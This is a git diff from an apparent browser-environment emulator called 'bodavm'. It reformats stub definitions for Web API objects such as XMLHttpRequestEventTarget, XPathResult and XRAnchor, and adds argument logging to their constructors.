bodavm.memory.globalobj['XMLHttpRequestEventTarget'].prototype, "XMLHttpRequestEventTarget", "onloadstart_get", arguments)}, set:function onloadstart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequestEventTarget'].prototype, "XMLHttpRequestEventTarget", "onloadstart_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XMLHttpRequestEventTarget', "onprogress", {configurable:true, enumerable:true, get:function onprogress (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequestEventTarget'].prototype, "XMLHttpRequestEventTarget", "onprogress_get", arguments)}, set:function onprogress (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequestEventTarget'].prototype, "XMLHttpRequestEventTarget", "onprogress_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XMLHttpRequestEventTarget', "onabort", {configurable:true, enumerable:true, get:function onabort (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequestEventTarget'].prototype, "XMLHttpRequestEventTarget", "onabort_get", arguments)}, set:function onabort (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequestEventTarget'].prototype, "XMLHttpRequestEventTarget", "onabort_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XMLHttpRequestEventTarget', "onerror", {configurable:true, enumerable:true, get:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequestEventTarget'].prototype, "XMLHttpRequestEventTarget", "onerror_get", arguments)}, set:function onerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequestEventTarget'].prototype, "XMLHttpRequestEventTarget", "onerror_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XMLHttpRequestEventTarget', "onload", {configurable:true, enumerable:true, get:function onload (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequestEventTarget'].prototype, "XMLHttpRequestEventTarget", "onload_get", arguments)}, set:function onload (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequestEventTarget'].prototype, "XMLHttpRequestEventTarget", "onload_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XMLHttpRequestEventTarget', "ontimeout", {configurable:true, enumerable:true, get:function ontimeout (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequestEventTarget'].prototype, "XMLHttpRequestEventTarget", "ontimeout_get", arguments)}, set:function ontimeout (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequestEventTarget'].prototype, "XMLHttpRequestEventTarget", "ontimeout_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XMLHttpRequestEventTarget', "onloadend", {configurable:true, enumerable:true, get:function onloadend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequestEventTarget'].prototype, "XMLHttpRequestEventTarget", "onloadend_get", arguments)}, set:function onloadend (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequestEventTarget'].prototype, "XMLHttpRequestEventTarget", "onloadend_set", arguments)}},'prototype'); +// XMLHttpRequestEventTarget对象 + +bodavm.memory.globalobj['XMLHttpRequestEventTarget'] = function XMLHttpRequestEventTarget() { + console.log_copy('XMLHttpRequestEventTarget 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof XMLHttpRequestEventTarget)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XMLHttpRequestEventTarget'], "XMLHttpRequestEventTarget"); +bodavm.memory.globalobj['XMLHttpRequestEventTarget'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['XMLHttpRequestEventTarget'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('XMLHttpRequestEventTarget', "onloadstart", { + configurable: true, + enumerable: true, + get: function onloadstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequestEventTarget'].prototype, "XMLHttpRequestEventTarget", "onloadstart_get", arguments); + }, + set: function onloadstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequestEventTarget'].prototype, "XMLHttpRequestEventTarget", "onloadstart_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XMLHttpRequestEventTarget', "onprogress", { + configurable: true, + enumerable: true, + get: function onprogress() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequestEventTarget'].prototype, "XMLHttpRequestEventTarget", "onprogress_get", arguments); + }, + set: function onprogress() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequestEventTarget'].prototype, "XMLHttpRequestEventTarget", "onprogress_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XMLHttpRequestEventTarget', "onabort", { + configurable: true, + enumerable: true, + get: function onabort() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequestEventTarget'].prototype, "XMLHttpRequestEventTarget", "onabort_get", arguments); + }, + set: function onabort() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequestEventTarget'].prototype, "XMLHttpRequestEventTarget", "onabort_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XMLHttpRequestEventTarget', "onerror", { + configurable: true, + enumerable: true, + get: function onerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequestEventTarget'].prototype, "XMLHttpRequestEventTarget", "onerror_get", arguments); + }, + set: function onerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequestEventTarget'].prototype, "XMLHttpRequestEventTarget", "onerror_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XMLHttpRequestEventTarget', "onload", { + configurable: true, + enumerable: true, + get: function onload() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequestEventTarget'].prototype, "XMLHttpRequestEventTarget", "onload_get", arguments); + }, + set: function onload() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequestEventTarget'].prototype, "XMLHttpRequestEventTarget", "onload_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XMLHttpRequestEventTarget', "ontimeout", { + configurable: true, + enumerable: true, + get: function ontimeout() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequestEventTarget'].prototype, "XMLHttpRequestEventTarget", "ontimeout_get", arguments); + }, + set: function ontimeout() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequestEventTarget'].prototype, "XMLHttpRequestEventTarget", "ontimeout_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XMLHttpRequestEventTarget', "onloadend", { + configurable: true, + enumerable: true, + get: function onloadend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequestEventTarget'].prototype, "XMLHttpRequestEventTarget", "onloadend_get", arguments); + }, + set: function onloadend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLHttpRequestEventTarget'].prototype, "XMLHttpRequestEventTarget", "onloadend_set", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/XMLHttpRequestUpload.js b/env_xbb_lastest_jsdom/env/XMLHttpRequestUpload.js index 799be42e..9e7f9e64 100644 --- a/env_xbb_lastest_jsdom/env/XMLHttpRequestUpload.js +++ b/env_xbb_lastest_jsdom/env/XMLHttpRequestUpload.js @@ -1,5 +1,19 @@ -// XMLHttpRequestUpload对象 -bodavm.memory.globalobj['XMLHttpRequestUpload'] = function XMLHttpRequestUpload(){if (!(this instanceof XMLHttpRequestUpload)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XMLHttpRequestUpload'], "XMLHttpRequestUpload"); -bodavm.memory.globalobj['XMLHttpRequestUpload'].prototype.__proto__=bodavm.memory.globalobj['XMLHttpRequestEventTarget'].prototype; -bodavm.memory.globalobj['XMLHttpRequestUpload'].__proto__=bodavm.memory.globalobj['XMLHttpRequestEventTarget']; +// XMLHttpRequestUpload对象 + +bodavm.memory.globalobj['XMLHttpRequestUpload'] = function XMLHttpRequestUpload() { + console.log_copy('XMLHttpRequestUpload 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof XMLHttpRequestUpload)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XMLHttpRequestUpload'], "XMLHttpRequestUpload"); +bodavm.memory.globalobj['XMLHttpRequestUpload'].prototype.__proto__ = bodavm.memory.globalobj['XMLHttpRequestEventTarget'].prototype; +bodavm.memory.globalobj['XMLHttpRequestUpload'].__proto__ = bodavm.memory.globalobj['XMLHttpRequestEventTarget']; \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/XMLSerializer.js b/env_xbb_lastest_jsdom/env/XMLSerializer.js index a7bf254b..b827608c 100644 --- a/env_xbb_lastest_jsdom/env/XMLSerializer.js +++ b/env_xbb_lastest_jsdom/env/XMLSerializer.js @@ -1,4 +1,22 @@ -// XMLSerializer对象 -bodavm.memory.globalobj['XMLSerializer'] = function XMLSerializer(){this._boarg= new bodaobj.window.XMLSerializer();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XMLSerializer'], "XMLSerializer"); -bodavm.toolsFunc.defineProperty('XMLSerializer', "serializeToString", {configurable:true, enumerable:true, writable:true, value:function serializeToString (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLSerializer'].prototype, "XMLSerializer", "serializeToString", arguments)}},'prototype'); +// XMLSerializer对象 + +bodavm.memory.globalobj['XMLSerializer'] = function XMLSerializer() { + console.log_copy('XMLSerializer 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.XMLSerializer(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XMLSerializer'], "XMLSerializer"); +bodavm.toolsFunc.defineProperty('XMLSerializer', "serializeToString", { + configurable: true, + enumerable: true, + writable: true, + value: function serializeToString() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XMLSerializer'].prototype, "XMLSerializer", "serializeToString", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/XPathEvaluator.js b/env_xbb_lastest_jsdom/env/XPathEvaluator.js index a3349b5c..abef4f82 100644 --- a/env_xbb_lastest_jsdom/env/XPathEvaluator.js +++ b/env_xbb_lastest_jsdom/env/XPathEvaluator.js @@ -1,6 +1,38 @@ -// XPathEvaluator对象 -bodavm.memory.globalobj['XPathEvaluator'] = function XPathEvaluator(){this._boarg= new bodaobj.window.XPathEvaluator();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XPathEvaluator'], "XPathEvaluator"); -bodavm.toolsFunc.defineProperty('XPathEvaluator', "createExpression", {configurable:true, enumerable:true, writable:true, value:function createExpression (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XPathEvaluator'].prototype, "XPathEvaluator", "createExpression", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XPathEvaluator', "createNSResolver", {configurable:true, enumerable:true, writable:true, value:function createNSResolver (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XPathEvaluator'].prototype, "XPathEvaluator", "createNSResolver", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XPathEvaluator', "evaluate", {configurable:true, enumerable:true, writable:true, value:function evaluate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XPathEvaluator'].prototype, "XPathEvaluator", "evaluate", arguments)}},'prototype'); +// XPathEvaluator对象 + +bodavm.memory.globalobj['XPathEvaluator'] = function XPathEvaluator() { + console.log_copy('XPathEvaluator 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + this._boarg = new bodaobj.window.XPathEvaluator(); + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XPathEvaluator'], "XPathEvaluator"); +bodavm.toolsFunc.defineProperty('XPathEvaluator', "createExpression", { + configurable: true, + enumerable: true, + writable: true, + value: function createExpression() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XPathEvaluator'].prototype, "XPathEvaluator", "createExpression", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XPathEvaluator', "createNSResolver", { + configurable: true, + enumerable: true, + writable: true, + value: function createNSResolver() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XPathEvaluator'].prototype, "XPathEvaluator", "createNSResolver", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XPathEvaluator', "evaluate", { + configurable: true, + enumerable: true, + writable: true, + value: function evaluate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XPathEvaluator'].prototype, "XPathEvaluator", "evaluate", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/XPathExpression.js b/env_xbb_lastest_jsdom/env/XPathExpression.js index 5ea29574..b3472395 100644 --- a/env_xbb_lastest_jsdom/env/XPathExpression.js +++ b/env_xbb_lastest_jsdom/env/XPathExpression.js @@ -1,4 +1,25 @@ -// XPathExpression对象 -bodavm.memory.globalobj['XPathExpression'] = function XPathExpression(){if (!(this instanceof XPathExpression)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XPathExpression'], "XPathExpression"); -bodavm.toolsFunc.defineProperty('XPathExpression', "evaluate", {configurable:true, enumerable:true, writable:true, value:function evaluate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XPathExpression'].prototype, "XPathExpression", "evaluate", arguments)}},'prototype'); +// XPathExpression对象 + +bodavm.memory.globalobj['XPathExpression'] = function XPathExpression() { + console.log_copy('XPathExpression 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof XPathExpression)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XPathExpression'], "XPathExpression"); +bodavm.toolsFunc.defineProperty('XPathExpression', "evaluate", { + configurable: true, + enumerable: true, + writable: true, + value: function evaluate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XPathExpression'].prototype, "XPathExpression", "evaluate", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/XPathResult.js b/env_xbb_lastest_jsdom/env/XPathResult.js index 7c04b618..85ce81c9 100644 --- a/env_xbb_lastest_jsdom/env/XPathResult.js +++ b/env_xbb_lastest_jsdom/env/XPathResult.js @@ -1,32 +1,209 @@ -// XPathResult对象 -bodavm.memory.globalobj['XPathResult'] = function XPathResult(){if (!(this instanceof XPathResult)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XPathResult'], "XPathResult"); -bodavm.toolsFunc.defineProperty('XPathResult', "ANY_TYPE", {configurable:false, enumerable:true, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('XPathResult', "NUMBER_TYPE", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('XPathResult', "STRING_TYPE", {configurable:false, enumerable:true, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('XPathResult', "BOOLEAN_TYPE", {configurable:false, enumerable:true, writable:false, value:3}); -bodavm.toolsFunc.defineProperty('XPathResult', "UNORDERED_NODE_ITERATOR_TYPE", {configurable:false, enumerable:true, writable:false, value:4}); -bodavm.toolsFunc.defineProperty('XPathResult', "ORDERED_NODE_ITERATOR_TYPE", {configurable:false, enumerable:true, writable:false, value:5}); -bodavm.toolsFunc.defineProperty('XPathResult', "UNORDERED_NODE_SNAPSHOT_TYPE", {configurable:false, enumerable:true, writable:false, value:6}); -bodavm.toolsFunc.defineProperty('XPathResult', "ORDERED_NODE_SNAPSHOT_TYPE", {configurable:false, enumerable:true, writable:false, value:7}); -bodavm.toolsFunc.defineProperty('XPathResult', "ANY_UNORDERED_NODE_TYPE", {configurable:false, enumerable:true, writable:false, value:8}); -bodavm.toolsFunc.defineProperty('XPathResult', "FIRST_ORDERED_NODE_TYPE", {configurable:false, enumerable:true, writable:false, value:9}); -bodavm.toolsFunc.defineProperty('XPathResult', "resultType", {configurable:true, enumerable:true, get:function resultType (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XPathResult'].prototype, "XPathResult", "resultType_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XPathResult', "numberValue", {configurable:true, enumerable:true, get:function numberValue (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XPathResult'].prototype, "XPathResult", "numberValue_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XPathResult', "stringValue", {configurable:true, enumerable:true, get:function stringValue (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XPathResult'].prototype, "XPathResult", "stringValue_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XPathResult', "booleanValue", {configurable:true, enumerable:true, get:function booleanValue (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XPathResult'].prototype, "XPathResult", "booleanValue_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XPathResult', "singleNodeValue", {configurable:true, enumerable:true, get:function singleNodeValue (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XPathResult'].prototype, "XPathResult", "singleNodeValue_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XPathResult', "invalidIteratorState", {configurable:true, enumerable:true, get:function invalidIteratorState (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XPathResult'].prototype, "XPathResult", "invalidIteratorState_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XPathResult', "snapshotLength", {configurable:true, enumerable:true, get:function snapshotLength (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XPathResult'].prototype, "XPathResult", "snapshotLength_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XPathResult', "ANY_TYPE", {configurable:false, enumerable:true, writable:false, value:0},'prototype'); -bodavm.toolsFunc.defineProperty('XPathResult', "NUMBER_TYPE", {configurable:false, enumerable:true, writable:false, value:1},'prototype'); -bodavm.toolsFunc.defineProperty('XPathResult', "STRING_TYPE", {configurable:false, enumerable:true, writable:false, value:2},'prototype'); -bodavm.toolsFunc.defineProperty('XPathResult', "BOOLEAN_TYPE", {configurable:false, enumerable:true, writable:false, value:3},'prototype'); -bodavm.toolsFunc.defineProperty('XPathResult', "UNORDERED_NODE_ITERATOR_TYPE", {configurable:false, enumerable:true, writable:false, value:4},'prototype'); -bodavm.toolsFunc.defineProperty('XPathResult', "ORDERED_NODE_ITERATOR_TYPE", {configurable:false, enumerable:true, writable:false, value:5},'prototype'); -bodavm.toolsFunc.defineProperty('XPathResult', "UNORDERED_NODE_SNAPSHOT_TYPE", {configurable:false, enumerable:true, writable:false, value:6},'prototype'); -bodavm.toolsFunc.defineProperty('XPathResult', "ORDERED_NODE_SNAPSHOT_TYPE", {configurable:false, enumerable:true, writable:false, value:7},'prototype'); -bodavm.toolsFunc.defineProperty('XPathResult', "ANY_UNORDERED_NODE_TYPE", {configurable:false, enumerable:true, writable:false, value:8},'prototype'); -bodavm.toolsFunc.defineProperty('XPathResult', "FIRST_ORDERED_NODE_TYPE", {configurable:false, enumerable:true, writable:false, value:9},'prototype'); -bodavm.toolsFunc.defineProperty('XPathResult', "iterateNext", {configurable:true, enumerable:true, writable:true, value:function iterateNext (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XPathResult'].prototype, "XPathResult", "iterateNext", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XPathResult', "snapshotItem", {configurable:true, enumerable:true, writable:true, value:function snapshotItem (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XPathResult'].prototype, "XPathResult", "snapshotItem", arguments)}},'prototype'); +// XPathResult对象 + +bodavm.memory.globalobj['XPathResult'] = function XPathResult() { + console.log_copy('XPathResult 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof XPathResult)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XPathResult'], "XPathResult"); +bodavm.toolsFunc.defineProperty('XPathResult', "ANY_TYPE", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('XPathResult', "NUMBER_TYPE", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}); +bodavm.toolsFunc.defineProperty('XPathResult', "STRING_TYPE", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}); +bodavm.toolsFunc.defineProperty('XPathResult', "BOOLEAN_TYPE", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}); +bodavm.toolsFunc.defineProperty('XPathResult', "UNORDERED_NODE_ITERATOR_TYPE", { + configurable: false, + enumerable: true, + writable: false, + value: 4 +}); +bodavm.toolsFunc.defineProperty('XPathResult', "ORDERED_NODE_ITERATOR_TYPE", { + configurable: false, + enumerable: true, + writable: false, + value: 5 +}); +bodavm.toolsFunc.defineProperty('XPathResult', "UNORDERED_NODE_SNAPSHOT_TYPE", { + configurable: false, + enumerable: true, + writable: false, + value: 6 +}); +bodavm.toolsFunc.defineProperty('XPathResult', "ORDERED_NODE_SNAPSHOT_TYPE", { + configurable: false, + enumerable: true, + writable: false, + value: 7 +}); +bodavm.toolsFunc.defineProperty('XPathResult', "ANY_UNORDERED_NODE_TYPE", { + configurable: false, + enumerable: true, + writable: false, + value: 8 +}); +bodavm.toolsFunc.defineProperty('XPathResult', "FIRST_ORDERED_NODE_TYPE", { + configurable: false, + enumerable: true, + writable: false, + value: 9 +}); +bodavm.toolsFunc.defineProperty('XPathResult', "resultType", { + configurable: true, + enumerable: true, + get: function resultType() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XPathResult'].prototype, "XPathResult", "resultType_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XPathResult', "numberValue", { + configurable: true, + enumerable: true, + get: function numberValue() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XPathResult'].prototype, "XPathResult", "numberValue_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XPathResult', "stringValue", { + configurable: true, + enumerable: true, + get: function stringValue() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XPathResult'].prototype, "XPathResult", "stringValue_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XPathResult', "booleanValue", { + configurable: true, + enumerable: true, + get: function booleanValue() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XPathResult'].prototype, "XPathResult", "booleanValue_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XPathResult', "singleNodeValue", { + configurable: true, + enumerable: true, + get: function singleNodeValue() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XPathResult'].prototype, "XPathResult", "singleNodeValue_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XPathResult', "invalidIteratorState", { + configurable: true, + enumerable: true, + get: function invalidIteratorState() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XPathResult'].prototype, "XPathResult", "invalidIteratorState_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XPathResult', "snapshotLength", { + configurable: true, + enumerable: true, + get: function snapshotLength() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XPathResult'].prototype, "XPathResult", "snapshotLength_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XPathResult', "ANY_TYPE", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XPathResult', "NUMBER_TYPE", { + configurable: false, + enumerable: true, + writable: false, + value: 1 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XPathResult', "STRING_TYPE", { + configurable: false, + enumerable: true, + writable: false, + value: 2 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XPathResult', "BOOLEAN_TYPE", { + configurable: false, + enumerable: true, + writable: false, + value: 3 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XPathResult', "UNORDERED_NODE_ITERATOR_TYPE", { + configurable: false, + enumerable: true, + writable: false, + value: 4 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XPathResult', "ORDERED_NODE_ITERATOR_TYPE", { + configurable: false, + enumerable: true, + writable: false, + value: 5 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XPathResult', "UNORDERED_NODE_SNAPSHOT_TYPE", { + configurable: false, + enumerable: true, + writable: false, + value: 6 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XPathResult', "ORDERED_NODE_SNAPSHOT_TYPE", { + configurable: false, + enumerable: true, + writable: false, + value: 7 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XPathResult', "ANY_UNORDERED_NODE_TYPE", { + configurable: false, + enumerable: true, + writable: false, + value: 8 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XPathResult', "FIRST_ORDERED_NODE_TYPE", { + configurable: false, + enumerable: true, + writable: false, + value: 9 +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XPathResult', "iterateNext", { + configurable: true, + enumerable: true, + writable: true, + value: function iterateNext() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XPathResult'].prototype, "XPathResult", "iterateNext", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XPathResult', "snapshotItem", { + configurable: true, + enumerable: true, + writable: true, + value: function snapshotItem() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XPathResult'].prototype, "XPathResult", "snapshotItem", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/XRAnchor.js b/env_xbb_lastest_jsdom/env/XRAnchor.js index a4d1e334..88c363e4 100644 --- a/env_xbb_lastest_jsdom/env/XRAnchor.js +++ b/env_xbb_lastest_jsdom/env/XRAnchor.js @@ -1,10 +1,33 @@ // XRAnchor对象 -bodavm.memory.globalobj['XRAnchor'] = function XRAnchor(){if (!(this instanceof XRAnchor)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} - +bodavm.memory.globalobj['XRAnchor'] = function XRAnchor() { + console.log_copy('XRAnchor 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof XRAnchor)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRAnchor'], "XRAnchor"); - -bodavm.toolsFunc.defineProperty('XRAnchor', "anchorSpace", {configurable:true, enumerable:true, get:function anchorSpace (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRAnchor'].prototype, "XRAnchor", "anchorSpace_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('XRAnchor', "delete", {configurable:true, enumerable:true, writable:true, value:function (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRAnchor'].prototype, "XRAnchor", "delete", arguments)}},'prototype'); - +bodavm.toolsFunc.defineProperty('XRAnchor', "anchorSpace", { + configurable: true, + enumerable: true, + get: function anchorSpace() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRAnchor'].prototype, "XRAnchor", "anchorSpace_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRAnchor', "delete", { + configurable: true, + enumerable: true, + writable: true, + value: function () { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRAnchor'].prototype, "XRAnchor", "delete", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/XRAnchorSet.js b/env_xbb_lastest_jsdom/env/XRAnchorSet.js index 96658781..0ff38001 100644 --- a/env_xbb_lastest_jsdom/env/XRAnchorSet.js +++ b/env_xbb_lastest_jsdom/env/XRAnchorSet.js 